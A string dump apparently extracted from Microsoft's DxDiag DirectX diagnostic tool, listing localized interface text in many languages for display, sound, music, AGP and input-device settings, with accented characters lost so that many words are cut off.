Sistema
Informazioni di sistema
DirectShow
periferica di sistema
DirectPlay
DirectShow
DirectPlay
DirectShow
DirectPlay
Systeem
de systeeminformatie
DirectShow
systeemapparaat
DirectPlay
system
systeminformasjon
DirectShow
systemenhet
DirectPlay
system
informacje o systemie
DirectShow
dzenie systemowe
DirectPlay
Sistema
informa
es sobre o sistema
DirectShow
dispositivo de sistema
DirectPlay
DirectShow
DirectPlay
systemet
systeminformationen
DirectShow
systemenheten
DirectPlay
sistem
sistem bilgisi
DirectShow
sistem ayg
DirectPlay
DirectShow
DirectPlay
sistema
as informa
es do sistema
DirectShow
dispositivo do sistema
DirectPlay
Sistema
la informaci
n del sistema
DirectShow
dispositivo del sistema
DirectX
DirectX
Soubory rozhran
DirectX
Zobrazen
Zobrazen
Zvuk %d
System
DirectX-filer
Lyd %d
Mere hj
System
DirectX-Dateien
Anzeige
Anzeige %d
Sound %d
Eingabe
Weitere Hilfe
Netzwerk
DirectX
System
DirectX Files
Display
Display %d
Sound %d
More Help
Network
rjestelm
DirectX-tiedostot
ohjeita
Musiikki
Verkko
Fichiers DirectX
Affichage
Affichage %d
Son %d
Aide suppl
mentaire
Musique
DirectX
Rendszer
DirectX f
%d. hang
Bemenet
Sistema
File DirectX
Schermo
%d di visualizzazione
%d audio
Altri argomenti
Musica
DirectX
DirectX
Systeem
DirectX-bestanden
Beeldscherm
Beeldscherm %d
Geluid
Geluid %d
Invoer
Meer Help
Muziek
Netwerk
System
DirectX-filer
Skjerm
Skjerm %d
Lyd %d
Inndata
Mer hjelp
Musikk
Nettverk
System
Pliki DirectX
Ekran %d
cej pomocy
Muzyka
Sistema
Arquivos do DirectX
Exibir
Som %d
Entrada
Mais ajuda
DirectX
System
DirectX-filer
Bildsk
Bildsk
Ljud %d
Indata
Ytterligare hj
Sistem
DirectX Dosyalar
%d Sesi
Daha Fazla Yard
DirectX
Sistema
Ficheiros DirectX
Visualiza
Visualiza
Som %d
Entrada
Mais ajuda
Sistema
Archivos de DirectX
Pantalla
Pantalla %d
Sonido
Sonido %d
Entrada
s ayuda
MDxDiag %s %s Copyright
1998-2003 Microsoft Corporation.
Unicode
PDxDiag %s %s Copyright (C) 1998-2003 Microsoft Corporation. All rights reserved.
Unicode
SDxDiag %s %s Copyright
1998-2003 Microsoft Corporation. V
echna pr
va vyhrazena.
Znakov
sada Unicode
LDxDiag %s %s Copyright
1998-2003 Microsoft. Alle rettigheder forbeholdes.
Unicode
LDxDiag %s %s Copyright
1998-2003 Microsoft Corp. Alle Rechte vorbehalten.
Unicode
lDxDiag %s %s
1998-2003 Microsoft Corporation.
Unicode
PDxDiag %s %s Copyright
1998-2003 Microsoft Corporation. All rights reserved.
Unicode
WDxDiag %s %s Copyright
1998 - 2003 Microsoft Corporation. Kaikki oikeudet pid
Unicode
PDxDiag %s %s Copyright
1998-2003 Microsoft Corporation. Tous droits r
Unicode
LDxDiag %s %s Copyright
1998-2003 Microsoft Corporation.
Unicode
RDxDiag %s %s Copyright
1998-2003 Microsoft Corporation. Minden jog fenntartva.
Unicode
UDxDiag %s %s. Copyright
1998-2003 Microsoft Corporation. Tutti i diritti riservati.
Unicode
RDxDiag %s %s Copyright (C) 1998-2003 Microsoft Corporation. All rights reserved.
Unicode
QDxDiag %s %s Copyright (C)1998-2003 Microsoft Corporation. All rights reserved.
XDxDiag %s %s Copyright (C) 1998-2003 Microsoft Corporation. Alle rechten voorbehouden.
Unicode
HDxDiag %s %s Copyright
1998-2003 Microsoft Corporation. Med enerett.
Unicode
VDxDiag %s %s Copyright
1998-2003 Microsoft Corporation. Wszelkie prawa zastrze
Unicode
XDxDiag %s %s Copyright
1998-2003 Microsoft Corporation. Todos os direitos reservados.
Unicode
FDxDiag %s %s
, 1998-2003.
HDxDiag %s %s Copyright
1998-2003 Microsoft Corporation. Med ensamr
Unicode
QDxDiag %s %s Copyright
1998-2003 Microsoft Corporation. T
m haklar
Unicode
CDxDiag %s %s Copyright (C) 1998-2003 Microsoft Corporation
Unicode
XDxDiag %s %s Copyright
1998-2003 Microsoft Corporation. Todos os direitos reservados.
Unicode
YDxDiag %s %s Copyright
1998-2003 Microsoft Corporation. Reservados todos los derechos.
Unicode
DirectDraw
Direct3D.}
DirectDraw
Direct3D
Direct3D
Direct3D
DirectDraw
Direct3D
DirectDraw
Direct3D
Direct3D
Direct3D
mto zak
ete hardwarovou akceleraci rozhran
DirectDraw pro v
echna zobrazovac
akcelerace rozhran
Direct3D bude tak
mto op
t povol
te hardwarovou akceleraci rozhran
DirectDraw pro v
echna zobrazovac
akcelerace rozhran
Direct3D se op
t stane p
stupnou.YT
mto zak
ete hardwarovou akceleraci rozhran
Direct3D pro v
echna zobrazovac
mto povol
te hardwarovou akceleraci rozhran
Direct3D pro v
echna zobrazovac
P&ovolit
&Povolit
Dette vil deaktivere hardwareaccelerationen af DirectDraw for alle visningsenheder i dit system. Det vil ogs
re Direct3D-acceleration utilg
ngelig.
Dette vil genaktivere hardwareacceleration af DirectDraw for alle visningsenheder i dit system. Det vil ogs
re Direct3D-acceleration tilg
ngelig igen.\Dette vil deaktivere hardwareacceleration af Direct3D for alle visningsenheder i dit system.ZDette vil aktivere hardwareacceleration af Direct3D for alle visningsenheder i dit system.
&Aktiver
Dea&ktiver
&Aktiver
Dea&ktiver
Dies wird die Hardwarebeschleunigung von DirectDraw f
r ALLE Anzeigeger
te auf diesem System deaktivieren. Zus
tzlich wird keine Direct3D-Beschleunigung mehr verf
gbar sein.
Dies wird die Hardwarebeschleunigung von DirectDraw wieder f
r ALLE Anzeigeger
te auf diesem System aktivieren. Zus
tzlich wird Direct3D-Beschleunigung wieder verf
gbar sein.hDies wird die Hardwarebeschleunigung von Direct3D f
r ALLE Anzeigeger
te auf diesem System deaktivieren.fDies wird die Hardwarebeschleunigung von Direct3D f
r ALLE Anzeigeger
te auf diesem System aktivieren.
&Aktivieren
De&aktivieren
A&ktivieren
Dea&ktivieren
DirectDraw
Direct3D
DirectDraw
Direct3D
Direct3D
Direct3D
This will disable hardware acceleration of DirectDraw for ALL display devices in your system. It will also make any Direct3D acceleration unavailable.
This will re-enable hardware acceleration of DirectDraw for ALL display devices in your system. It will also make any Direct3D acceleration available again.[This will disable hardware acceleration of Direct3D for ALL display devices on your system.ZThis will enable hardware acceleration of Direct3D for ALL display devices on your system.
En&able
&Disable
Ena&ble
D&isable
poistaa kaikkien j
rjestelm
laitteiden DirectDraw-laitteistokiihdytyksen k
s Direct3D-kiihdytys poistetaan k
ottaa kaikkien j
rjestelm
laitteiden DirectDraw-laitteistokiihdytyksen k
s Direct3D-kiihdytys otetaan k
poistaa k
rjestelm
n kaikkien n
laitteiden Direct3D-laitteistokiihdytyksen.[T
ottaa k
rjestelm
n kaikkien n
laitteiden Direct3D-laitteistokiihdytyksen.
&Ota k
&Poista k
Ot&a k
Po&ista k
Cela va d
sactiver l'acc
ration mat
rielle de DirectDraw pour tous les p
riques d'affichage dans votre syst
me. Cela va
galement rendre l'acc
ration Direct3D indisponible.
Cela va r
activer l'acc
ration mat
rielle de DirectDraw pour tous les p
riques d'affichage dans votre syst
me. Cela va
galement rendre l'acc
ration Direct3D disponible de nouveau.sCela va d
sactiver l'acc
ration mat
rielle de Direct3D pour tous les p
riques d'affichage sur votre syst
me.pCela va activer l'acc
ration mat
rielle de Direct3D pour tous les p
riques d'affichage sur votre syst
A&ctiver
sactiver
Ac&tiver
sacti&ver
DirectDraw
Direct3D
DirectDraw
Direct3D
Direct3D
Direct3D
Ezzel letiltja a rendszer
SSZES k
nek a hardveres DirectDraw gyors
t. Ezen fel
l a hardveres Direct3D gyors
s sem lesz el
Ezzel
jra enged
lyezi a rendszer
SSZES k
nek a hardveres DirectDraw gyors
t. A tov
bbiakban a hardveres Direct3D gyors
s is el
lesz.UEzzel letiltja a rendszer
SSZES k
nek a hardveres Direct3D gyors
t.XEzzel enged
lyezi a rendszer
SSZES k
nek a hardveres Direct3D gyors
&Enged
E&nged
In questo modo verr
disattivata l'accelerazione hardware di DirectDraw di tutte le periferiche di visualizzazione del sistema e l'accelerazione Direct3D non sar
disponibile.
Questa operazione consente di riattivare l'accelerazione hardware di DirectDraw per tutte le periferiche di visualizzazione del sistema utilizzato e rende di nuovo disponibile l'accelerazione Direct3D.
Questa operazione consente di disattivare l'accelerazione hardware di Direct3D per tutte le periferiche di visualizzazione del sistema utilizzato.
Questa operazione consente di attivare l'accelerazione hardware di Direct3D per tutte le periferiche di visualizzazione del sistema utilizzato.
&Attiva
&Disattiva
A&ttiva
D&isattiva
DirectDraw
Direct3D
DirectDraw
Direct3D
Direct3D
Direct3D
DirectDraw
Direct3D
DirectDraw
Direct3D
Direct3D
Direct3D
Hierdoor wordt hardwareversnelling uitgeschakeld voor ALLE weergaveapparaten van het systeem. Direct3D-versnelling is dan ook niet beschikbaar.
Hierdoor wordt hardwareversnelling opnieuw ingeschakeld voor ALLE weergaveapparaten van het systeem. Direct3D-versnelling wordt dan ook weer beschikbaar.jHierdoor wordt hardwareversnelling uitgeschakeld van Direct3D voor ALLE weergaveapparaten van het systeem.iHierdoor wordt hardwareversnelling ingeschakeld van Direct3D voor ALLE weergaveapparaten van het systeem.
&Inschakelen
Uits&chakelen
In&schakelen
Uitscha&kelen
Dette vil deaktivere maskinvareakselerasjonen av DirectDraw for ALLE skjermenheter i systemet. Det vil ogs
re all Direct3D-akselerasjon utilgjengelig.
Dette vil reaktivere maskinvareakselerasjonen av DirectDraw for ALLE skjermenheter i systemet. Det vil ogs
re all Direct3D-akselerasjonen tilgjengelig igjen.]Dette vil deaktivere maskinvareakselerasjonen av Direct3D for ALLE skjermenheter p
systemet.[Dette vil aktivere maskinvareakselerasjonen av Direct3D for ALLE skjermenheter p
systemet.
&Aktiver
&Deaktiver
A&ktiver
D&eaktiver
Spowoduje to wy
czenie przyspieszania sprz
towego DirectDraw dla WSZYSTKICH urz
wietlaj
cych w systemie. Spowoduje to r
e przyspieszanie Direct3D b
dzie niedost
Spowoduje to ponowne w
czenie przyspieszania sprz
towego DirectDraw dla WSZYSTKICH urz
wietlaj
cych w systemie. Spowoduje to r
e przyspieszanie Direct3D b
dzie znowu dost
pne.qSpowoduje to wy
czenie przyspieszania sprz
towego DirectDraw dla WSZYSTKICH urz
wietlaj
cych w systemie.pSpowoduje to w
czenie przyspieszania sprz
towego DirectDraw dla WSZYSTKICH urz
wietlaj
cych w systemie.
Isto desativar
a acelera
o de hardware do DirectDraw para TODOS os dispositivos de v
deo do sistema. A acelera
o do Direct3D tamb
o estar
dispon
Isto reativar
a acelera
o de hardware do DirectDraw para TODOS os dispositivos de v
deo do sistema. A acelera
o do Direct3D tamb
m estar
dispon
vel novamente.dIsto desativar
a acelera
o de hardware do Direct3D para TODOS os dispositivos de v
deo do sistema.aIsto ativar
a acelera
o de hardware do Direct3D para TODOS os dispositivos de v
deo do sistema.
A&tivar
De&sativar
At&ivar
&Desativar
DirectDraw
Direct3D
DirectDraw
Direct3D.F
Direct3D
Direct3D
Detta kommer att inaktivera maskinvaruacceleration av DirectDraw f
r ALLA bildsk
rmar p
datorn. Det kommer ocks
att g
ra Direct3D-acceleration otillg
ngligt igen.
Detta kommer
ter att aktivera maskinvaruacceleration av DirectDraw f
r ALLA bildsk
rmar p
datorn. Det kommer ocks
att g
ra Direct3D-acceleration tillg
ngligt igen.^Detta kommer att inaktivera maskinvaruacceleration av Direct3D f
r ALLA bildsk
rmar p
datorn.\Detta kommer att aktivera maskinvaruacceleration av Direct3D f
r ALLA bildsk
rmar p
datorn.
Aktiv&era
&Inaktivera
Ak&tivera
Inakti&vera
Bu, sisteminizdeki T
in DirectDraw donan
devre d
rakacak. Ayr
ca, Direct3D h
kullan
lamaz yapacak.
Bu, sisteminizdeki T
in DirectDraw donan
yeniden etkinle
tirecek. Ayr
ca, Direct3D h
tekrar kullan
labilir yapacak.fBu, sisteminizdeki T
in DirectDraw donan
devre d
rakacak.aBu, sisteminizdeki T
in DirectDraw donan
etkinle
tirecek.
&Etkinle
&Devre D
Et&kinle
De&vre D
DirectDraw
Direct3D
DirectDraw
Direct3D
Direct3D
Direct3D
Isto desactivar
a acelera
o de hardware do DirectDraw para TODOS os dispositivos de visualiza
o no seu sistema. A acelera
o do Direct3D tamb
o estar
dispon
Isto reactivar
a acelera
o de hardware do DirectDraw para TODOS os dispositivos de visualiza
o no seu sistema. A acelera
o do Direct3D voltar
m a estar dispon
vel.pIsto desactivar
a acelera
o de hardware do Direct3D para TODOS os dispositivos de visualiza
o no seu sistema.mIsto activar
a acelera
o de hardware do Direct3D para TODOS os dispositivos de visualiza
o no seu sistema.
&Activar
&Desactivar
A&ctivar
D&esactivar
Esto deshabilitar
la aceleraci
n del hardware de DirectDraw para TODOS los dispositivos de pantalla de su sistema. Tambi
que la aceleraci
n de Direct3D no est
disponible.
Esto volver
a habilitar la aceleraci
n del hardware de DirectDraw para TODOS los dispositivos de pantalla de su sistema. Tambi
que la aceleraci
n de Direct3D vuelva a estar disponible.dEsto deshabilitar
la aceleraci
n de Direct3D para TODOS los dispositivos de pantalla de su sistema.aEsto habilitar
la aceleraci
n de Direct3D para TODOS los dispositivos de pantalla de su sistema.
Ha&bilitar
&Deshabilitar
Ha&bilitar
D&eshabilitar
AGP (
AGP (
AGP (Accelerated Graphics Port)
AGP (Accelerated Graphics Port)
Povoli&t
Tato akce op
povol
portu AGP (Accelerated Graphics Port) u v
ech zobrazovac
v syst
mu, kter
jej podporuj
Tato akce zak
portu AGP (Accelerated Graphics Port) u v
ech zobrazovac
v syst
mu, kter
jej podporuj
&Aktiver
Dea&ktiveruDette vil genaktivere brug af AGP (Accelereret grafikport) for ALLE de sk
rmenheder i systemet, som underst
tter det.tDette vil deaktivere brug af AGP (Accelereret grafikport) for ALLE de sk
rmenheder i systemet, som underst
tter det.
Akti&vieren
Deakti&vieren
Die Verwendung von AGP (Accelerated Graphics Port) f
r ALLE Anzeigeger
te des Systems, die AGP unterst
tzen, wird wieder aktiviert.~Die Verwendung von AGP (Accelerated Graphics Port) f
r ALLE Anzeigeger
te des Systems, die AGP unterst
tzen, wird deaktiviert.
AGP (
AGP (
Enab&le
Disab&leuThis will re-enable usage of AGP (Accelerated Graphics Port) for ALL display devices in your system which support it.sThis will disable usage of AGP (Accelerated Graphics Port) for ALL display devices on your system which support it.
&Ota k
Poista k
ottaa AGP:n (Accelerated Graphics Port) uudelleen k
n kaikille j
rjestelm
laitteille, jotka tukevat sit
poistaa AGP:n (Accelerated Graphics Port) j
rjestelm
n kaikkien niiden n
laitteiden k
, jotka tukevat sit
Active&r
sact&iver
Cela va r
activer l'utilisation du port AGP (Accelerated Graphics Port) pour TOUS les p
riques d'affichage de votre syst
me qui le prennent en charge.
Cela va d
sactiver l'utilisation du port AGP (Accelerated Graphics Port) pour TOUS les p
riques d'affichage de votre syst
me qui le prennent en charge.
-AGP (
-AGP (
Enge&d
Ezzel
jra enged
lyezi a gyors
tott grafikus port (AGP) haszn
SSZES olyan megjelen
ra, amelyek t
mogatj
k azt.~Ezzel letiltja a gyors
tott grafikus port (AGP) haszn
SSZES olyan megjelen
ra, amelyek t
mogatj
k azt.
Atti&va
Disatti&va
riattivato l'utilizzo della porta AGP (Accelerated Graphics Port) per TUTTE le periferiche di visualizzazione presenti nel sistema che la supportano.
disattivato l'utilizzo della porta AGP (Accelerated Graphics Port) per TUTTE le periferiche di visualizzazione presenti nel sistema che la supportano.
(&L)NAGP (Accelerated Graphics Port)
NAGP (Accelerated Graphics Port)
(&L)MAGP(Accelerated Graphics Port)
.JAGP(Accelerated Graphics Port)
I&nschakelen
&Uitschakelen
Hiermee wordt het gebruik van AGP (Accelerated Graphics Port) ingeschakeld voor ALLE weergaveapparaten van het systeem die dit ondersteunen.
Hiermee wordt het gebruik van AGP (Accelerated Graphics Port) uitgeschakeld voor ALLE weergaveapparaten van het systeem die dit ondersteunen.
Akti&ver
Deakt&iverxDette vil reaktivere bruken av AGP (Accelerated Graphics Port) for ALLE skjermenheter i systemet som har st
tte for det.xDette vil deaktivere bruken av AGP (Accelerated Graphics Port) for ALLE skjermenheter i systemet som har st
tte for det.
liwi to ponowne wykorzystywanie portu AGP (Accelerated Graphics Port) przez WSZYSTKIE obs
ce go urz
dzenia wy
wietlaj
ce w systemie.
Uniemo
liwi to ponowne wykorzystywanie portu AGP (Accelerated Graphics Port) przez WSZYSTKIE obs
ce go urz
dzenia wy
wietlaj
ce w systemie.
&Ativar
D&esativar
O uso da AGP (Accelerated Graphics Port, porta de elementos gr
ficos acelerada) ser
reativado para TODOS os dispositivos de v
deo do sistema que d
o suporte a ela.
O uso da AGP (Accelerated Graphics Port, porta de elementos gr
ficos acelerada) ser
desativado para TODOS os dispositivos de v
deo do sistema que d
o suporte a ela.
AGP (Accelerated Graphics Port)
AGP (Accelerated Graphics Port)
Aktive&ra
Ina&ktiveravDetta kommer att aktivera AGP (Accelerated Graphics Port) igen p
ALLA bildsk
rmsenheter som st
der det i ditt system.sDetta kommer att inaktivera AGP (Accelerated Graphics Port) p
ALLA bildsk
rmsenheter som st
der det i ditt system.
&Etkinle
Dev&re D
Bu, sisteminizdeki AGP'yi (Accelerated Graphics Port) destekleyen T
in AGP kullan
yeniden etkinle
tirir.
Bu sisteminizdeki AGP'yi (Accelerated Graphics Port) destekleyen T
in AGP kullan
devre d
AGP (
AGP (
Acti&var
Desa&ctivar
Este procedimento reactivar
a utiliza
o de AGP (Accelerated Graphics Port) para TODOS os dispositivos de visualiza
o no sistema que a suportem.
Este procedimento desactivar
a utiliza
o de AGP (Accelerated Graphics Port) para TODOS os dispositivos de visualiza
o no sistema que a suportem.
Habili&tar
Des&habilitar
Se volver
a habilitar el uso de AGP (Puerto de gr
ficos acelerado) para TODOS los dispositivos de presentaci
n del sistema que lo admitan.
Se deshabilitar
el uso de AGP (Puerto de gr
ficos acelerado) para TODOS los dispositivos de presentaci
n del sistema que lo admitan.
akcelerace
akcelerace
Standardn
akcelerace
akcelerace
Ingen acceleration
Basisacceleration
Standardacceleration
Fuld acceleration
Keine Beschleunigung
Minimalbeschleunigung
Standardbeschleunigung
Maximalbeschleunigung
No acceleration
Basic acceleration
Standard acceleration
Full acceleration
Ei kiihdytyst
Peruskiihdytys
Vakiokiihdytys
ysi kiihdytys
Aucune acc
ration
ration de base
ration standard
ration compl
Nincs gyors
Alapgyors
nyos gyors
Teljes gyors
Nessuna accelerazione
Accelerazione di base
Accelerazione standard
Accelerazione completa
Geen versnelling
Basisversnelling
Standaardversnelling
Volledige versnelling
Ingen akselerasjon
Grunnleggende akselerasjon
Standard akselerasjon
Full akselerasjon
Brak przyspieszenia
Przyspieszenie podstawowe
Przyspieszenie standardowe
Przyspieszenie pe
Sem acelera
Acelera
Acelera
o padr
Acelera
o completa
Ingen acceleration
Enkel acceleration
Standardacceleration
Full acceleration
vme yok
Temel ivme
Standart ivme
Tam ivme
Sem acelera
Acelera
Acelera
o padr
Acelera
o total
No hay aceleraci
Aceleraci
Aceleraci
Aceleraci
n total
Povoleno
dispozici
Aktiveret
Deaktiveret
Ikke tilg
ngelig
Aktiviert
Deaktiviert
Nicht verf
Enabled
Disabled
Not Available
sactiv
Non disponible
lyezve
Letiltva
Nem lehet el
Attivata
Disattivata
Non disponibile
Ingeschakeld
Uitgeschakeld
Niet beschikbaar
Aktivert
Deaktivert
Ikke tilgjengelig
Niedost
Ativado
Desativado
o dispon
Aktiverad
Inaktiverad
Inte tillg
Devre D
Activado
Desactivado
o dispon
Habilitado
Deshabilitado
No disponible
Kernel
Vstup/V
Podporuje DLS
Beskrivelse
Kernel-tilstand
Ind/ud
Underst
tter DLS
Ekstern
Standardport
Beschreibung
Kernelmodus
Ein/Aus
Unterst
tzt DLS
Extern
Standardanschluss
Description
Kernel Mode
In/Out
Supports DLS
External
Default Port
Kuvaus
Ydintila
In/Out
Tukee DLS:
Ulkoinen
Oletusportti
Description
Mode noyau
e/Sortie
Prend en charge DLS
Externe
Port par d
Kernel m
Bemenet/kimenet
rtelmezett port
Descrizione
Modalit
kernel
In/Out
Supporta DLS
Esterno
Porta predefinita
Beschrijving
Kernelmodus
In/Uit
Ondersteunt DLS
Extern
Standaardpoort
Beskrivelse
Kjernemodus
Inn/ut
tter DLS
Ekstern
Standard port
Tryb j
cie/Wyj
uguje pr
bki DLS
Port domy
Descri
Modo Kernel
Entrada/sa
suporte a DLS
Externo
Porta padr
Beskrivning
Kernel-l
der DLS
Extern
Standardport
Kernel Modu
DLS Destekler
Varsay
lan Ba
Noktas
Descri
Modo Kernel
Entrada/Sa
Suporta DLS
Externo
Porta predefinida
Descripci
Modo de n
Entrada/Salida
Compatible con DLS
Externo
Puerto predeterminado
%s (%s
Software
Hardware
%s (Verze %s)
Output
Software
Hardware
%s (Version %s)
Ausgabe
Eingabe
Software
Hardware
%s (Version %s)
Output
Software
Hardware
%s (Version %s)
Tulostus
Ohjelmisto
Laitteisto
%s (Versio %s)
Sortie
Logiciel
%s (Version %s)
Kimenet
Bemenet
Szoftver
Hardver
%s (verzi
Output
Software
Hardware
Versione %s %s
Uitvoer
Invoer
Software
Hardware
%s (Versie %s)
Utdata
Inndata
Programvare
Maskinvare
%s (versjon %s)
ciowego
Oprogramowanie
%s (Wersja %s)
Entrada
Software
Hardware
%s (Vers
Utdata
Indata
Programvara
Maskinvara
%s (version %s)
Entrada
Software
Hardware
%s (Vers
Salida
Entrada
Software
Hardware
%s (versi
DirectMusic
DirectMusic
DirectMusic
DirectMusic
&Povolit
zat_Tato akce zabr
rozhran
DirectMusic pou
vat hardwarov
urychlen
hudebn
port jako v
.eTato akce povol
rozhran
DirectMusic pou
vat hardwarov
urychlen
hudebn
porty jako v
porty.
&Aktiver
Dea&ktiverZDette forhindrer DirectMusic i at bruge en hardwareaccelereret musikport som standardport.VDette tillader DirectMusic at bruge en hardwareaccelereret musikport som standardport.
&Aktivieren
&DeaktivierenfDirectMusic kann dadurch keinen hardwarebeschleunigten Musikanschluss als Standardanschluss verwenden.eDirectMusic kann dadurch einen hardwarebeschleunigten Musikanschluss als Standardanschluss verwenden.
DirectMusic
DirectMusic
&Enable
&Disable_This will prevent DirectMusic from using a hardware-accelerated music port as the default port.fThis will allow DirectMusic to use a hardware-accelerated music port, if present, as the default port.
&Ota k
&Poista k
DirectMusicia k
laitteistokiihdytetty
musiikkiporttia oletusporttina.vT
sallii, ett
DirectMusic k
laitteistokiihdytetty
musiikkiporttia (jos se on k
) oletusporttina.
&Activer
sactiverqCela va emp
cher DirectMusic d'utiliser un port musical avec acc
ration mat
rielle en tant que port par d
Cela va permettre
DirectMusic d'utiliser un port musical avec acc
ration mat
rielle en tant que port par d
faut, s'il en existe un.
- DirectMusic
- DirectMusic
&Enged
ssEzzel megakad
lyozza, hogy a DirectMusic alap
rtelmezett portk
nt hardvergyors
ssal rendelkez
portot haszn
Ezzel enged
lyezi, hogy a DirectMusic hardvergyors
ssal rendelkez
portot haszn
ljon - amennyiben l
tezik - alap
rtelmezett portk
Att&iva
&Disattiva
Selezionando questa opzione, DirectMusic non potr
utilizzare come porta predefinita una porta per periferiche musicali con accelerazione hardware.
Selezionando questa opzione, DirectMusic potr
utilizzare come porta predefinita una porta per periferiche musicali con accelerazione hardware, se presente.
DirectMusic
DirectMusic
(&D)/DirectMusic
.8DirectMusic
&Inschakelen
Uit&schakelengDit betekent dat DirectMusic geen muziekpoort met hardwareacceleratie als standaardpoort kan gebruiken.yDit betekent dat DirectMusic een muziekpoort met hardware-acceleratie als standaardpoort kan gebruiken (indien aanwezig).
&Aktiver
&Deaktiver[Dette forhindrer at DirectMusic bruker en maskinvareakselerert musikkport som standardport.aDette setter DirectMusic i stand til
bruke en maskinvareakselerert musikkport som standardport.
czwUniemo
liwi to programowi DirectMusic wykorzystywanie przyspieszanego sprz
towo portu muzycznego jako portu domy
lnego.
liwi to programowi DirectMusic wykorzystywanie przyspieszanego sprz
towo portu muzycznego jako portu domy
lnego, je
eli jest obecny.
&Ativar
&DesativardIsso vai impedir que o DirectMusic use uma porta de m
sica acelerada por hardware como porta padr
o.sIsso vai permitir que o DirectMusic use uma porta de m
sica acelerada por hardware, caso exista, como porta padr
DirectMusic
DirectMusic
&Aktivera
Ina&ktivera_Detta hindrar DirectMusic fr
n att anv
nda en maskinvaruaccelererad musikport som standardport._Detta hindrar DirectMusic fr
n att anv
nda en maskinvaruaccelererad musikport som standardport.
&Etkinle
&Devre D
rakmBu, DirectMusic'in varsay
lan de
er olarak donan
zik ba
noktas
kullanmas
Bu, DirectMusic'in, e
er varsa, varsay
lan de
er olarak donan
zik ba
noktas
kullanmas
na izin verir.
DirectMusic
DirectMusic
Ac&tivar
&DesactivarjIsto impedir
que o DirectMusic utilize uma porta de m
sica acelerada por hardware como porta predefinida.xIsto permitir
que o DirectMusic utilize uma porta de m
sica acelerada por hardware, se existir, como porta predefinida.
Habili&tar
Desh&abilitargEsto evitar
que DirectMusic use un puerto de m
sica acelerado por hardware como puerto predeterminado.uEsto permitir
que DirectMusic use un puerto de m
sica acelerado por hardware, si existe, como puerto predeterminado.
Force Feedback
: 0x%04X, 0x%04X
: %s, %s
: 0x%04X
0x%04X
zev za
ID dodavatele
ID ovlada
ipojeno
ipojeno
slo(Ovlada
s funkc
Force Feedback
*ID dodavatele, ID produktu: 0x%04X, 0x%04X
ba: %s
filtry: %s
filtry: %s
Ovlada
: %s, %s
Enhedsnavn
Producent-id
Status
Controller-id
Ikke tilknyttet
Produkt-id
Driver til Force Feedback
%Vendor-id, produkt-id: 0x%04X, 0x%04X
Tjeneste: %s
vre filtre: %s
Nedre filtre: %s
Driver: %s, %s
USB-enheder
PS/2-enheder
tename
Herstellerkennung
Status
Controllerkennung
Angeschlossen
Nicht angeschlossen
Produktkennung
Force Feedback-Treiber
1Herstellerkennung, Produktkennung: 0x%04X, 0x%04X
Dienst: %s
Obere Filter: %s
Untere Filter: %s
Treiber: %s, %s
USB-Ger
PS/2-Ger
Force Feedback
: 0x%04X, 0x%04X
: %s, %s
Device Name
Vendor ID
Status
Controller ID
Attached
Not attached
Product ID
Force Feedback Driver
%Vendor ID, Product ID: 0x%04X, 0x%04X
Service: %s
Upper Filters: %s
Lower Filters: %s
Driver: %s, %s
USB Devices
PS/2 Devices
Laitteen nimi
Toimittajatunnus
Ohjaimen tunnus
Liitetty
Ei liitetty
Product ID -tunnus
Force Feedback -ohjain
-Toimittajatunnus, tuotetunnus: 0x%04X, 0x%04X
Palvelu: %s
tason suodattimet: %s
Alatason suodattimet: %s
Ohjain: %s, %s
USB-laitteet
PS/2-laitteet
Nom du p
ID du fournisseur
ID du contr
Associ
Non associ
ID de produit
rique de retour de force
1ID du fournisseur, ID de produit
: 0x%04X, 0x%04X
Service
Filtres sup
rieurs
Filtres inf
rieurs
Pilote
: %s, %s
riques USB
riques PS/2
Force Feedback
: 0x%04X, 0x%04X
: %s, %s
z neve
azonos
llapot
azonos
Csatlakoztatva
Nincs csatlakoztatva
kazonos
s-szimul
s illeszt
program
azonos
, term
kazonos
: 0x%04X, 0x%04X
Illeszt
program: %s, %s
USB-esz
PS/2 eszk
Nome periferica
ID fornitore
ID controller
Connesso
Non connesso
Numero di serie
Driver force feedback
)ID fornitore, ID prodotto: 0x%04X, 0x%04X
Servizio: %s
Filtri superiori: %s
Filtri inferiori: %s
Driver: %s, %s
Periferiche USB
Periferiche PS/2
Force Feedback
ID: 0x%04X, 0x%04X
: %s, %s
ID: 0x%04X, 0x%04X
: %s, %s
Apparaatnaam
Vendor-id
Status
Controller-id
Gekoppeld
Niet gekoppeld
Product-id"Stuurprogramma voor force-feedback
%Vendor-id, product-id: 0x%04X, 0x%04X
Service: %s
Hoge filters: %s
Lage filters: %s
Stuurprogramma: %s, %s
USB-apparaten
PS/2-apparaten
Enhetsnavn
Leverand
Status
Kontroller-ID
Vedlagt
Ikke vedlagt
Produkt-ID
Force Feedback-driver
)Leverand
r-ID, produkt-ID: 0x%04X, 0x%04X
Tjeneste: %s
vre filtre: %s
Nedre filtre: %s
Driver: %s, %s
USB-enheter
PS/2-enheter
Nazwa urz
dzenia
Identyfikator dostawcy
Identyfikator kontrolera
Nie do
Identyfikator produktu
Sterownik Force Feedback
>Identyfikator dostawcy, identyfikator produktu: 0x%04X, 0x%04X
uga: %s
Filtry wy
sze: %s
Filtry ni
sze: %s
Sterownik: %s, %s
dzenia USB
dzenia PS/2
Nome do dispositivo
Identifica
o do fornecedor
Status
Identifica
o do controlador
Conectado
o conectado%Identifica
o do produto (Product ID)
Driver do Force Feedback
EIdentifica
o do fornecedor, Identifica
o do produto: 0x%04X, 0x%04X
Filtros superiores: %s
Filtros inferiores: %s
Driver: %s, %s
Dispositivos USB
Dispositivos PS/2
Force Feedback
: 0x%04X, 0x%04X
: %s, %s
Enhetsnamn
ljarnr
Status
Spelenhets-ID
Ansluten
Inte ansluten
Produkt-ID
Drivrutin f
r effektsimulering
*Leverant
rs-ID, produkt-ID: 0x%04X, 0x%04X
nst: %s
gre filter: %s
gre filter: %s
Drivrutin: %s, %s
USB-enheter
PS/2-enheter
Kimli
Denetleyici Kimli
tirilmi
tirilmemi
n Kimli
Force Feedback S
Kimli
n Kimli
i: 0x%04X, 0x%04X
Hizmet: %s
ler: %s
ler: %s
: %s, %s
USB Ayg
PS/2 Ayg
ID: 0x%04X, 0x%04X
: %s, %s
Nome do dispositivo
ID de fornecedor
Estado
ID de controlador
Anexado
o anexado
ID do produto Controlador de for
a de feedback
/ID de fornecedor, ID de produto: 0x%04X, 0x%04X
Filtros superiores: %s
Filtros inferiores: %s
Controlador: %s, %s
Dispositivos USB
Dispositivos PS/2
Nombre del dispositivo
Id. del proveedor
Estado
Id. de la controladora
Adjunto
No adjunto
Id. del producto
